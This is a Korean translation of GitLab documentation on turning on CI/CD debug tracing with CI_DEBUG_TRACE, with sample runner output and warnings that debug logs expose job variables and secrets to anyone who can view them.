디버그 로깅을 사용하여 파이프라인 구성이나 작업 스크립트의 문제를 해결하는 데 도움을 줄 수 있습니다.

디버그 로깅은 일반적으로 러너에 의해 숨겨진 작업 실행 세부정보를 노출하고 작업 로그를 더 자세히 만듭니다. 또한 작업에 사용 가능한 모든 변수와 비밀을 노출합니다.

디버그 로깅을 활성화하기 전에 팀원만 작업 로그를 볼 수 있도록 하세요.

반드시 디버그 출력을 포함한 작업 로그 삭제 후, 로그를 다시 공개해야 합니다.

디버그 로깅을 활성화하려면, CI_DEBUG_TRACE 변수를 true로 설정하세요:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

예제 출력(일부 생략됨):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ export CI_SERVER_SHELL_SSH_PORT=22
++ CI_SERVER_SHELL_SSH_PORT=22
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...

디버그 로깅에 대한 접근

디버그 로깅에 대한 접근은 개발자 역할 이상을 가진 사용자로 제한됩니다. 낮은 역할을 가진 사용자는 디버그 로깅이 변수로 활성화된 경우 로그를 볼 수 없습니다:

경고:

로컬 변수를 러너에 대해 CI_DEBUG_TRACE로 추가하면 디버그 로그가 생성되며 작업 로그에 접근할 수 있는 모든 사용자에게 표시됩니다.

권한 수준은 러너에 의해 확인되지 않으므로, 이 변수를 GitLab 자체에서만 사용해야 합니다.